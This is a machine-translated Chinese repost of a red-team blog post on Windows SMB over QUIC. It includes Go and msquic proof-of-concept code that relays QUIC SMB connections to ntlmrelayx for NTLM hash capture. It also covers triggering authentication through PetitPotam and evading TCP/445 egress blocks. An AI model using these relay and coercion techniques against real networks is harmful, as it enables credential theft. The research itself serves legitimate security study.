特性 | 高版本windows - 使用 NTLMQUIC 访问 SMB
2022-4-11 13:1:14 Author: mp.weixin.qq.com(查看原文) 阅读量:13 收藏

开卷有益 · 不求甚解


前言

本周,我清理了我的阅读清单,发现我之前收藏了一篇关于在 QUIC 上引入 SMB 的有趣文章。微软的文章表明,Windows 正在支持通过 QUIC 协议使用 SMB,这应该会立即引起任何将 SMB 攻击作为其杀伤链一部分的人的兴趣。

由于 Windows 11 和 Server 2022 对该技术的支持,我认为现在可能是查看和回答一些关于该技术在参与期间会有多大用处的问题的好时机。因此,在这篇文章中,我们将深入研究这项技术的工作原理,回答一些关于哪些攻击可行的直接问题,并展示我们如何重新利用一些现有工具。

它是如何工作的?

有很多文章解释了 QUIC 协议,所以在这篇文章中,我们将重点介绍在关注 SMB 时需要了解的部分。首先,SMB over QUIC 使用 UDP 端口 443。建立 TLS 连接,使用 TLS ALPN 扩展选择“smb”协议:

除了阅读规范之外,为了解决这个问题,让我们创建一个可以处理入站连接的非常简单的 QUIC 服务器。为此,我们将使用 golang,它为 QUIC 包提供了一些选项。我们将为此使用的是quic-go:

package main

import (
"context"
"crypto/tls"
"fmt"

"github.com/lucas-clemente/quic-go"
)

func main() {

  // Set up our TLS
  tlsConfig, err := configureTLS()
  if err != nil {
    fmt.Println("[!] Error grabbing TLS certs")
    return
  }

  // We're listening on UDP/443 for this
  listener, err := quic.ListenAddr("0.0.0.0:443", tlsConfig, nil)

  if err != nil {
    fmt.Println("[!] Error binding to UDP/443")
    return
  }

  fmt.Println("[*] Started listening on UDP/443")

  // Accept inbound connection
  session, err := listener.Accept(context.Background())

  if err != nil {
    fmt.Println("Error accepting connection from client")
    return
  }

  fmt.Printf("[*] Accepted connection: %s\n", session.RemoteAddr().String())

  // Setup stream
  _, err = session.AcceptStream(context.Background())

  if err != nil {
    fmt.Println("Error accepting stream from QUIC client")
  }

  fmt.Printf("[*] Stream setup successfully with: %s\n", session.RemoteAddr().String())

  }

func configureTLS() (*tls.Config, error) {
  cer, err := tls.LoadX509KeyPair("server.crt", "server.key")

  if err != nil {
    return nil, fmt.Errorf("Could not load server.crt and server.key")
  }

  // ALPN as SMB
  return &tls.Config{
    Certificates: []tls.Certificate{cer},
    NextProtos: []string{"smb"},
  }, nil
}

接下来,我们需要一些 TLS 证书才能使用。让我们使用 OpenSSL 为这个 POC 生成一个自签名证书:

openssl req -x509 -nodes -newkey rsa:4096 -keyout server.key -out server.crt -days 365

有了这个,我们可以启动我们的测试:

go run ./main.go

现在我们的简单 QUIC 服务器正在监听,我们将启动来自 Windows 11 机器的连接。为此,我们可以使用以下net.exe选项来忽略不受信任的 TLS 证书:

NET USE /TRANSPORT:QUIC /skipcertcheck \\OURHOST\c$

如果一切顺利,我们将记录我们的连接并显示连接已建立,并且一切都按预期在 QUIC 上运行:

互联网上的中小企业?

是的。实际上,这是在文档中多次提及的内容。

SMB over QUIC 为远程办公者、移动设备用户和高安全性组织提供“SMB VPN”。服务器证书通过互联网友好的 UDP 端口 443 而不是旧的 TCP 端口 445 创建一个 TLS 1.3 加密的隧道。

措辞有点奇怪,我仍然不太清楚为什么使用“SMB VPN”这个词,但我们稍后会看到,实现实际上非常简单。

为了在 Internet 上看到这一点,让我们使用上面的 POC 并使用有效证书启动 EC2 主机。我们可以使用letsencrypt创建我们需要的证书:

certbot certonly --standalone

获得证书后,我们可以启动 POC 并查看当我们尝试从 Windows 11 机器连接时一切正常:https ://youtu.be/4t5ffdjtHMQ

作为攻击者,我发现它使用与 HTTP/3 标准共享的协议特别有趣。这意味着确保 TCP/445 被阻止出站的日子可能即将结束(尽管检查 ALPN 协议的安全产品将放弃正在使用的 SMB 协议)。

请注意,这不会改变有关自动发送 NTLM 握手的要求。通常的 Intranet 区域规则在这里适用!

我们需要新工具吗?

并不真地。虽然传输协议已从 TCP 更改为 UDP,并且现在封装在 QUIC 中,但底层 SMB 协议保持不变。这意味着,与其尝试重新发明轮子,不如创建一个简单的包装器,并在许多情况下继续使用现有工具。

让我们在这里使用 ntlmrelayx 作为我们的测试用例,并尝试将入站 QUIC 连接代理到 TCP/445 上的 localhost。为此,我们将扩展上面的 POC 工具,并将入站连接简单地中继到 TCP/445:

package main

import (
"context"
"crypto/tls"
"fmt"
"net"
"github.com/lucas-clemente/quic-go"
)

const BUFFER_SIZE = 11000

func startQuicServer(tlsConfig *tls.Config) error {
    quicListener, err := quic.ListenAddr("0.0.0.0:443", tlsConfig, nil)
    if err != nil {
        return fmt.Errorf("Error binding to UDP/443")
    }

    fmt.Println("[*] Started listening on UDP/443")

    for {
        session, err := quicListener.Accept(context.Background())

        if err != nil {
            fmt.Println("[!] Error accepting connection from client")
            continue
        }

        fmt.Printf("[*] Accepted connection from %s\n", session.RemoteAddr().String())

        stream, err := session.AcceptStream(context.Background())

        if err != nil {
            fmt.Println("[!] Error accepting stream from QUIC client")
        }

go func() {
    tcpConnection, err := net.Dial("tcp""localhost:445")

    if err != nil {
        fmt.Println("[!] Error connecting to localhost:445")
        return
    }

    fmt.Println("[*] Connected to localhost:445\n[*] Starting relaying process...")

    dataBuffer := make([]byte, BUFFER_SIZE)

    for {

        dataCount, err := stream.Read(dataBuffer)

        if err != nil {
            return
        }

        dataCount, err = tcpConnection.Write(dataBuffer[0:dataCount])

        if err != nil || dataCount == 0 {
            return
        }

        dataCount, err = tcpConnection.Read(dataBuffer)

        if err != nil {
            return
        }

        dataCount, err = stream.Write(dataBuffer[0:dataCount])

        if err != nil || dataCount == 0 {
            return
        }
    }
}()
}
return nil
}

func main() {

fmt.Println("SMB over QUIC Termination POC by @_xpn_")
    tlsConfig, err := configureTLS()

    if err != nil {
        fmt.Println("[!] Error grabbing TLS certs")
        return
    }

    err = startQuicServer(tlsConfig)

    if err != nil {
        fmt.Println("[!] " + err.Error())
    }
}

func configureTLS() (*tls.Config, error) {
  cer, err := tls.LoadX509KeyPair("server.crt""server.key")

  if err != nil {
    return nil, fmt.Errorf("Could not load server.crt and server.key")
  }

  // ALPN as SMB
  return &tls.Config{
    Certificates: []tls.Certificate{cer},
    NextProtos: []string{"smb"},
  }, nil
}

此外,要使其在现场工作,我们将需要一个证书,否则连接尝试将会下降。如果我们在 *nix 机器上操作并且环境部署了 ADCS 角色,我们可以使用 Impacket 之类的东西addcomputer.py来创建一个新的机器帐户,然后我们可以为以下内容申请证书:

现在我们已经创建了我们的机器帐户(您需要确保这是通过 LDAPSdNSHostName设置属性),然后我们可以从 CA 请求我们的证书:

最后,我们添加我们的 DNS 记录以允许目标使用我们正确的证书:

此时,我们通常会查看 Responder 来捕获哈希,但由于我们现在使用 FQDN 来允许我们的证书工作,这将首先触发 Kerberos 身份验证请求,因此 Responder 似乎没有很好地处理这个问题. 因此,我们将使用 ntlmrelayx 为我们获取哈希值。我们再次前往net.exe我们的 Windows 11 系统,发现一切正常:

现在,如果我们查看我们的 cred 文件,我们会看到 cred 捕获工作正常:

我们如何通过 QUIC 触发 SMB?

因此,在 Windows 11 上,默认情况下启用 SMB over QUIC,并且会在与典型 445 端口的 TCP 连接失败时尝试。例如,如果我们前往 Explorer 并尝试导航到\\something\testshare,如果无法建立初始 TCP 连接,将尝试 SMB over QUIC:

这意味着当遇到那些明确阻止 TCP/445 但允许其他端口和协议遍历的子网时,该协议对我们攻击者很有用。

但是如果我们想使用像 PetitPotam 这样的东西呢?是否可以使用类似的方法通过 QUIC 触发 SMB?为了回答这个问题,我们将非常简要地研究一下 PetitPotam 的工作原理。

正如您现在可能知道的那样,Microsoft 仅修补了 PetitPotam 漏洞中前几个记录在案的 RPC 方法,因此当我们要关注 Windows Server 2022 时,我们需要关注未修补的方法。我们将在AddUsersToFile这里使用 RPC 方法作为我们的候选方法。PetitPotam RPC 方法在 中处理efslsaext.dll,因此让我们将其放入 Ghidra 中,看看是什么导致了身份验证强制。

如果我们查看EfsRpcAddUsersToFileEx_Downlevel,我们会看到一个方法的引用,该方法EfsEnsureLocalPath,采用 RPC 调用提供的路径:

通过这种方法,我们得到了导致身份验证尝试的原因的答案,这是CreateFileW我们控制文件名参数的一个很好的调用:

这与我们上面在 Explorer 中使用的场景相匹配,所以一切都应该正常工作,但可以肯定的是,让我们尝试触发 PotitPotam 的AddUsersToFile方法,看看我们是否通过 QUIC 恢复连接:

我们如何在 WINDOWS 受损主机上使用它?

对于这种场景,微软创建了一个名为“msquic”的库,我们可以使用它(事实上,这个库也用于 Windows 11 附带的底层 QUIC 客户端)。与上述场景一样,有一些注意事项,因为我们需要一个证书来启动我们的服务器。幸运的是,在启用了证书服务的 Windows 域环境中,我们通常能够为活动服务器请求证书,或者发现服务器已经部署了证书。

在 Windows 上使用 QUIC 的好处是,与 TCP/445 不同,UDP/443 可能尚未绑定,这意味着只要我们有证书,我们应该可以开始监听入站通过 QUIC 连接的 SMB。

值得注意的是,msquic 在 Windows 11 和 Server 2022 上支持 schannel,在其他版本的 Windows 上支持 OpenSSL。对我们而言,主要区别在于证书存储的使用。例如,如果我们处于证书存储为主机保存证书的情况,我们可以直接引用该证书,而无需经历导出的麻烦:

BOOLEAN QuicServer::ServerLoadConfiguration(const char *hash, const char *path, const char *pathPrivate) {

    QUIC_SETTINGS Settings = { 0 };
    QUIC_CREDENTIAL_CONFIG_HELPER Config;
    QUIC_STATUS Status = QUIC_STATUS_SUCCESS;

    Settings.IdleTimeoutMs = IdleTimeoutMs;
    Settings.IsSet.IdleTimeoutMs = TRUE;
    Settings.ServerResumptionLevel = QUIC_SERVER_RESUME_AND_ZERORTT;
    Settings.IsSet.ServerResumptionLevel = TRUE;
    Settings.PeerBidiStreamCount = 1;
    Settings.IsSet.PeerBidiStreamCount = TRUE;

    memset(&Config, 0, sizeof(Config));

    if (hash != NULL) {
    // We try and use a certificate from the certificate store
        Config.CredConfig.Flags = QUIC_CREDENTIAL_FLAG_NONE;
        Config.CredConfig.Type = QUIC_CREDENTIAL_TYPE_CERTIFICATE_HASH_STORE;

        uint32_t CertHashLen = DecodeHexBuffer(hash, sizeof(Config.CertHashStore.ShaHash), Config.CertHashStore.ShaHash);
        if (CertHashLen != sizeof(Config.CertHashStore.ShaHash)) {
            return FALSE;
        }

        strncpy_s(Config.CertHashStore.StoreName, DEFAULT_CERT_STORE, 2);
        Config.CertHashStore.Flags = QUIC_CERTIFICATE_HASH_STORE_FLAG_MACHINE_STORE;
        Config.CredConfig.CertificateHashStore = &Config.CertHashStore;
    }
    else {
    // We use the provided key/cert from the parameters
        Config.CredConfig.Flags = QUIC_CREDENTIAL_FLAG_NONE;
        Config.CredConfig.Type = QUIC_CREDENTIAL_TYPE_CERTIFICATE_FILE;
        Config.CertFile.CertificateFile = this->_path;
        Config.CertFile.PrivateKeyFile = this->_privatePath;
        Config.CredConfig.CertificateFile = &Config.CertFile;
    }

    if (QUIC_FAILED(Status = MsQuic->ConfigurationOpen(this->_registration, &Alpn, 1, &Settings, sizeof(Settings), NULL, &this->_configuration))) {
        printf("[!] ConfigurationOpen error [0x%x]\n", Status);
        return FALSE;
    }

    if (QUIC_FAILED(Status = MsQuic->ConfigurationLoadCredential(this->_configuration, &Config.CredConfig))) {
        printf("[!] ConfigurationLoadCredential error [0x%x]\n", Status);
        return FALSE;
    }

    return TRUE;

}

与我们之前的示例一样,此 POC 仅将任何 SMB 通过 QUIC 请求转发到现有工具:https ://youtu.be/rgGgFloZbJ0

这篇文章中所有示例的代码都可以在这里找到。

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布(不定期删除),这是一项测试

最新动态: Follow Me

微信/微博:red4blue

公众号/知乎:blueteams



文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247486414&idx=1&sn=e4f4c4844504164db021a0184d938732&chksm=fb35a206cc422b10242ca91c05a2f4fdbcf01ece1c20960a030d9e06eabe8b3a2a02835ff1f4#rd
如有侵权请联系:admin#unsafe.sh